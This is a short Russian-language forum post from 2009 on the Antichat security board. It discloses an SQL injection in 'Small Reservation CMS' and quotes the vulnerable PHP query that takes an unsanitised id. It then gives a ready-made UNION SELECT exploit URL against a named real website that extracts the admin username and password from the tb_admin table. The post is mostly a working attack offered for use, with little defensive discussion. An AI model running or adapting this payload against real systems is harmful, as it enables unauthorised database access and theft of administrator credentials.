HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу Small Reservation CMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

Small Reservation CMS
  #1  
Старый 26.09.2009, 04:39
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию Small Reservation CMS
Уязвимость: SQL-Inj
Продукт: Small Reservation CMS
Уязвимый файл MainContent.class.php
Код:
PHP код:
if($res = $this->db->query("SELECT rentobject_id,name,marke,
                            weight,power,engine,imgurl
                            FROM tb_{$this->subcmd}
                            WHERE rentobject_id = {$this->id}")) 
Пример на сайте разработчика:
Код:
http://www.fastproject.ch/smallCMS/index.php?pageid=8&rentobject_id=1+union+select+1,concat_ws(0x3a,admin_user,admin_pw),3,4,5,6,7+from+tb_admin--
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Reviews CMS w3r3.w01f PHP 33 12.04.2010 23:18
Как определить вид CMS или форума? Validol Веб-уязвимости 1 14.09.2009 14:24
10 вещей, которые нужно учитывать при выборе идеальной CMS Andres Статьи 0 27.06.2009 02:38
Девять Комерческих Cms w3r3.w01f PHP 1 21.04.2006 00:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.